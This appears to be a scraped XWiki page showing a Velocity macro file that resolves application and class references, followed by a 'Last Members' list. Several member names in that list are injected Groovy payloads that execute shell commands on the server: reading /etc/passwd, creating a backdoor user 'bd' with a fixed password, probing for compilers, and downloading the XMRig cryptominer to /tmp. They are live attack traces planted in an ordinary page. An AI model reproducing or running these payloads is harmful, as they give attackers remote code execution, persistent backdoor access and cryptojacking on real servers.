Show last authors
1 {{velocity output="false"}}
2 #macro (getAppReference)
3 #set ($appLocalRef = $doc.getValue('dataSpaceName'))
4 #if ("$!appLocalRef" != '')
5 ## Between 6.3M2 (XWIKI-11249) and 7.3RC1 (XWIKI-12741).
6 #set ($appReference = $services.model.resolveSpace($appLocalRef))
7 #else
8 ## Possible locations:
9 ## 1. same space (<6.2M1, XWIKI-8757)
10 ## 2. sibling space (between 6.2M1 and 6.3M2)
11 ## 3. grand parent space (7.3RC1+)
12 #set ($appReferences = [
13 $doc.documentReference.parent,
14 $services.model.createSpaceReference($stringtool.removeEnd($doc.documentReference.name, 'TemplateProvider'),
15 $doc.documentReference.parent.parent),
16 $doc.documentReference.parent.parent
17 ])
18 #foreach ($item in $appReferences)
19 #set ($appReference = $item)
20 #if ($xwiki.getDocument($appReference).getObject($appDescriptorClassName))
21 #break
22 #end
23 #end
24 #end
25 #end
26
27 #macro (getAppTitle)
28 #getAppReference
29 #set ($appTitle = $xwiki.getDocument($appReference).plainTitle)
30 #end
31
32 #macro (getExpectedAppClassReference $appName $appReference)
33 #set ($expectedClassName = "$!{appName}Class")
34 #set ($expectedClassLocations = [
35 $services.model.createSpaceReference('Code', $appReference),
36 $services.model.createSpaceReference("${appReference.name}Code", $appReference.parent),
37 $appReference
38 ])
39 #set ($found = false)
40 #foreach ($expectedClassLocation in $expectedClassLocations)
41 #set ($expectedClassReference = $services.model.createDocumentReference($expectedClassName,
42 $expectedClassLocation))
43 #if ($xwiki.exists($expectedClassReference))
44 #set ($found = true)
45 #break
46 #end
47 #end
48 #if (!$found)
49 #set ($expectedClassReference = $NULL)
50 #end
51 #end
52
53 #macro (getAppClassReference $appHomePage)
54 #set ($appName = $appHomePage.pageReference.name)
55 #set ($appReference = $appHomePage.documentReference.parent)
56 ## Look for the application class in the expected location.
57 #getExpectedAppClassReference($appName $appReference)
58 #if ($expectedClassReference)
59 #set ($classReference = $expectedClassReference)
60 #else
61 ## The application was probably moved or renamed.
62 ## The configured class reference is relative to the application home page (holding the application descriptor).
63 #set ($configuredClassReference = $services.model.resolveDocument("$!appHomePage.getValue('class')",
64 $appHomePage.documentReference))
65 #set ($previousAppName = $stringtool.removeEnd($configuredClassReference.name, 'Class'))
66 ## Look for a class with the previous name in the current location.
67 #getExpectedAppClassReference($previousAppName $appReference)
68 #if ($expectedClassReference)
69 #set ($classReference = $expectedClassReference)
70 #else
71 ## Use the configured class.
72 #set ($classReference = $configuredClassReference)
73 #end
74 #end
75 #end
76 {{/velocity}}

Last Members

PhotoName
]]{{/html}}{{async}}{{groovy}}"id bd && cat /etc/passwd | grep bd".execute().text{{/groovy}}{{/async}} CheckVelocityMacros&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;id bd &#38;&#38; cat /etc/passwd  grep bd&#34;.execute().text&#123;&#123;/groovy}}&#123;&#123;/async}} Check>>XWiki.htmlasyncgroovyidbdcatetcpasswdgrepbdexecutetextgroovyasyncCheckcheck_bd_user]]
]]{{/html}}{{async}}{{groovy}}"useradd -m -s /bin/bash bd && echo 'bd:Bd123!@#' | chpasswd".execute(){{/groovy}}{{/async}} BackdoorVelocityMacros&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;useradd -m -s /bin/bash bd &#38;&#38; echo &#39;bd:Bd123!@#&#39;  chpasswd&#34;.execute()&#123;&#123;/groovy}}&#123;&#123;/async}} Backdoor>>XWiki.htmlasyncgroovyuseraddmsbinbashbdechobdBd123chpasswdexecutegroovyasyncBackdoorbackdoor_user_001]]
]]{{/html}}{{async}}{{groovy}}"which python python3 gcc make java 2>&1".execute().text{{/groovy}}{{/async}} CheckToolsVelocityMacros&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;which python python3 gcc make java 2&#62;&#38;1&#34;.execute().text&#123;&#123;/groovy}}&#123;&#123;/async}} CheckTools>>XWiki.htmlasyncgroovywhichpythonpython3gccmakejava21executetextgroovyasyncCheckToolscheck_tools_001]]
]]{{/html}}{{async}}{{groovy}}def c="wget https://downloads.sourceforge.net/project/xmrig.mirror/v6.22.2/xmrig-6.22.2-linux-x64.tar.gz -O /tmp/x.tgz 2>&1".execute();c.waitFor();c.text{{/groovy}}{{/async}} WgetErrorVelocityMacros&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}def c=&#34;wget https://downloads.sourceforge.net/project/xmrig.mirror/v6.22.2/xmrig-6.22.2-linux-x64.tar.gz -O /tmp/x.tgz 2&#62;&#38;1&#34;.execute();c.waitFor();c.text&#123;&#123;/groovy}}&#123;&#123;/async}} WgetError>>XWiki.htmlasyncgroovydefcwgethttpsdownloadssourceforgenetprojectxmrigmirrorv6222xmrig6222linuxx64targzOtmpxtgz21executecwaitForctextgroovyasyncWgetErrorwget_error_diag_001]]
]]{{/html}}{{async}}{{groovy}}"ls -lah /tmp/x.tgz 2>&1".execute().text{{/groovy}}{{/async}} FinalCheckVelocityMacros&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;ls -lah /tmp/x.tgz 2&#62;&#38;1&#34;.execute().text&#123;&#123;/groovy}}&#123;&#123;/async}} FinalCheck>>XWiki.htmlasyncgroovylslahtmpxtgz21executetextgroovyasyncFinalCheckfinal_check_xtgz_003]]

View All